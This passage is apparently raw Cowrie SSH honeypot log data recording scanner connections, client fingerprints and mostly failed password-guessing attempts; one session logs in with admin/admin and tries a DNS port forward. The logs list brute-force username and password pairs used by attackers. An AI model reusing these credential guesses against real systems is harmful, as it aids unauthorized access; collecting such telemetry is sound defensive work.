;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:01.710430Z","src_ip":"205.210.31.185","session":"9b6c35ed0577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:10.084666Z","src_ip":"205.210.31.185","session":"9b6c35ed0577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34466,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a5f997ff816","protocol":"ssh","message":"New connection: 159.203.92.129:34466 (159.203.135.109:22) [session: 5a5f997ff816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:12.510617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:12.517235Z","src_ip":"159.203.92.129","session":"5a5f997ff816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:12.536850Z","src_ip":"159.203.92.129","session":"5a5f997ff816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Zhanghua","password":"Zhanghua","message":"login attempt [Zhanghua/Zhanghua] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:12.552814Z","src_ip":"159.203.92.129","session":"5a5f997ff816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:13.565258Z","src_ip":"159.203.92.129","session":"5a5f997ff816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":55510,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc99d1c406bc","protocol":"ssh","message":"New connection: 196.189.51.7:55510 (10.17.0.5:22) [session: fc99d1c406bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:41.485621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:41.489642Z","src_ip":"196.189.51.7","session":"fc99d1c406bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:41.658511Z","src_ip":"196.189.51.7","session":"fc99d1c406bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZ2wsx","message":"login attempt [test/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:42.359302Z","src_ip":"196.189.51.7","session":"fc99d1c406bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:43.529893Z","src_ip":"196.189.51.7","session":"fc99d1c406bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36010,"dst_ip":"159.203.135.109","dst_port":22,"session":"16d76cd72fd0","protocol":"ssh","message":"New connection: 159.203.92.129:36010 (159.203.135.109:22) [session: 16d76cd72fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:54.499893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:54.505000Z","src_ip":"159.203.92.129","session":"16d76cd72fd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:54.510972Z","src_ip":"159.203.92.129","session":"16d76cd72fd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Zhanghua","password":"Zhanghua1","message":"login attempt [Zhanghua/Zhanghua1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:54.527777Z","src_ip":"159.203.92.129","session":"16d76cd72fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:55.534553Z","src_ip":"159.203.92.129","session":"16d76cd72fd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":55548,"dst_ip":"159.203.135.109","dst_port":22,"session":"d70e64820e72","protocol":"ssh","message":"New connection: 140.106.25.230:55548 (159.203.135.109:22) [session: d70e64820e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:57.688449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:57.693896Z","src_ip":"140.106.25.230","session":"d70e64820e72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:57.724626Z","src_ip":"140.106.25.230","session":"d70e64820e72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2024","message":"login attempt [ubuntu/ubuntu@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:57.881315Z","src_ip":"140.106.25.230","session":"d70e64820e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:59:58.916522Z","src_ip":"140.106.25.230","session":"d70e64820e72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28584,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb11ba969be5","protocol":"ssh","message":"New connection: 87.251.64.176:28584 (10.17.0.5:22) [session: eb11ba969be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:00.140496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:00.147633Z","src_ip":"87.251.64.176","session":"eb11ba969be5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:00.251133Z","src_ip":"87.251.64.176","session":"eb11ba969be5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:00.552330Z","src_ip":"87.251.64.176","session":"eb11ba969be5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:00.657868Z","session":"eb11ba969be5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:00.757339Z","src_ip":"87.251.64.176","session":"eb11ba969be5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:00.857821Z","src_ip":"87.251.64.176","session":"eb11ba969be5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":52838,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e8145291597","protocol":"ssh","message":"New connection: 173.249.6.197:52838 (159.203.135.109:22) [session: 0e8145291597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:16.279482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:16.288836Z","src_ip":"173.249.6.197","session":"0e8145291597","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:16.384176Z","src_ip":"173.249.6.197","session":"0e8145291597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asdlkj","message":"login attempt [postgres/asdlkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:16.807462Z","src_ip":"173.249.6.197","session":"0e8145291597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:17.910627Z","src_ip":"173.249.6.197","session":"0e8145291597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58164,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d98c10e1b36","protocol":"ssh","message":"New connection: 80.94.92.186:58164 (159.203.135.109:22) [session: 5d98c10e1b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:34.015498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:34.107165Z","src_ip":"80.94.92.186","session":"5d98c10e1b36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:34.194950Z","src_ip":"80.94.92.186","session":"5d98c10e1b36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latitude","password":"sol","message":"login attempt [latitude/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:34.977599Z","src_ip":"80.94.92.186","session":"5d98c10e1b36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:36.196547Z","src_ip":"80.94.92.186","session":"5d98c10e1b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48398,"dst_ip":"159.203.135.109","dst_port":22,"session":"2023a91ea9c4","protocol":"ssh","message":"New connection: 159.203.92.129:48398 (159.203.135.109:22) [session: 2023a91ea9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:00:39.953245Z"}
